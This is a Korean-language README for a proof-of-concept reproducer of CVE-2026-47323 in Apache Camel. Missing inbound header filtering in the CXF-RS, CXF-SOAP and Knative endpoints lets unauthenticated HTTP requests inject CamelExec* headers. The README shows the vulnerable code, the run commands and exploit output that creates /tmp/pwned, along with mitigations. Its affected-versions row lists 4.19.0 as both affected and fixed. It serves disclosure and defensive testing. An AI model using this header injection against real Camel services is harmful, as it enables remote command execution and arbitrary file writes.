
Reproducer for CVE-2026-47323: Apache Camel CXF/Knative HeaderFilterStrategy missing inbound filtering, enabling Camel control-header injection (RCE via camel-exec) through CXF-RS/CXF-SOAP/Knative endpoints (fixed in 4.14.6/4.18.2/4.19.0)
이 프로젝트는 Apache Camel의 CXF 및 Knative HTTP 헤더 필터 전략에서 메시지-헤더 인젝션을 시연하며, CVE-2026-47323로 추적됩니다. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) 및 KnativeHttpHeaderFilterStrategy (camel-knative-http)는 아웃바운드 Camel-내부 헤더(setOutFilterStartsWith)만 필터링하고, 인바운드 필터링(setInFilterStartsWith)은 구성하지 않습니다. 결과적으로, 인증되지 않은 공격자가 CXF-RS 또는 CXF-SOAP 엔드포인트에 대한 HTTP 요청을 통해 Camel-내부 헤더(예: CamelExecCommandExecutable, CamelFileName)를 주입할 수 있습니다. 라우트가 이러한 엔드포인트에서 camel-exec 또는 camel-file과 같은 헤더 기반 컴포넌트로 메시지를 전달할 때, 주입된 헤더가 구성된 값을 재정의하여 원격 코드 실행 또는 임의 파일 쓰기를 가능하게 합니다.
이 PoC는 CXF-RS (JAX-RS) 표면을 사용합니다: 주입된 CamelExecCommandExecutable은 무해한 echo를 임의 명령 실행으로 바꿉니다.
권고: https://camel.apache.org/security/CVE-2026-47323.html
이 재현기는 Camel 4.18.1을 고정합니다 — 4.18.x 라인의 마지막 영향받은 릴리스 (수정은 4.18.2에 적용됨). camel-undertow (CVE-2025-30177), 더 광범위한 인바운드 헤더 필터 (CVE-2025-27636, CVE-2025-29891) 및 비-HTTP 전략 (CVE-2026-40453)과 동일한 패턴.
// CxfRsHeaderFilterStrategy.initialize() (영향받은 4.18.1) — 오직 아웃바운드 필터만 구성됨:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (setInFilterStartsWith(...) 없음, 따라서 인바운드 Camel* 헤더는 필터링되지 않음)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — 인바운드 HTTP 헤더가 전략을 통해 복사됨:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// 드롭됨 — 그러나 인바운드 필터가 없으므로 CamelExecCommandExecutable은 드롭되지 않음
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- 주입된 헤더가 여기에 도착
}
}
수정 (4.14.6 / 4.18.2 / 4.19.0)은 이러한 전략에 setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)를 추가하여 인바운드 Camel* / camel* 헤더를 드롭합니다.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // 작성자가 고정한 무해한 명령
.setBody(constant("ok\n"));
JAX-RS 엔드포인트 (GET /service/api/ping)로, 요청이 고정된 셸 명령으로 전달됩니다. camel-exec 프로듀서는 구성된 echo보다 인바운드 CamelExecCommandExecutable 헤더를 우선시합니다.
모든 것은 하나의 자체 포함된 앱에서 실행됩니다: CXF-RS 엔드포인트, camel-exec 싱크, 공격자 드라이버.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # 단일 자체 포함 서비스
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS 계약: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # 공격자: 주입된 CamelExec* 헤더로 GET /ping
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # 주입된 명령에 의해 생성됨
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) 정당한 요청 (주입된 헤더 없음) ===
response: ok
marker created: false
=== 2) 주입된 CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> 헤더 인젝션 / RCE 증명 — 인증되지 않은 HTTP 클라이언트가 CXF-RS 요청에 CamelExec* 헤더를 주입하여
>>> 라우트가 임의 명령을 실행하도록 함 (touch /tmp/pwned): true
CXF-RS, CXF-SOAP 또는 Knative-HTTP 엔드포인트에서 헤더 기반 프로듀서로 메시지를 전달하는 모든 라우트. CamelExecCommandExecutable (camel-exec를 통한 RCE) 외에도 CamelFileName을 사용하면 camel-file을 통해 임의 파일 쓰기가 가능하며, 다른 Camel* 제어 헤더가 다른 프로듀서를 조종할 수 있습니다.
4.14.6 / 4.18.2 / 4.19.0으로 업그레이드하세요. 영향받은 전략은 이제 setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)를 구성하여 인바운드 Camel* 헤더를 드롭합니다.
업그레이드할 때까지, 다운스트림 프로듀서로 가기 전에 인바운드 메시지에서 Camel 제어 헤더를 제거하고 (라우트 시작 부분에 .removeHeaders("Camel*") 및 .removeHeaders("camel*")), CXF / Knative 엔드포인트에 인증을 요구하세요.
이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트용으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 컴포넌트 | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Improper Input Validation |
| 영향 | HTTP 요청을 통해 Camel 제어 헤더 주입 → 다운스트림 헤더 기반 프로듀서 재정의 → RCE (camel-exec) 또는 임의 파일 쓰기 (camel-file) |
| 전제 조건 | CXF-RS / CXF-SOAP / Knative 엔드포인트가 헤더 기반 프로듀서로 메시지를 전달함; 엔드포인트가 인증되지 않은 경우 |
| 영향받는 버전 | 3.18.0부터 4.14.6 이전, 4.15.0부터 4.18.2 이전, 4.19.0 (4.19.0에서 수정됨) |
| 수정된 버전 | 4.14.6, 4.18.2, 4.19.0 |
| 신고자 | Quac Tran |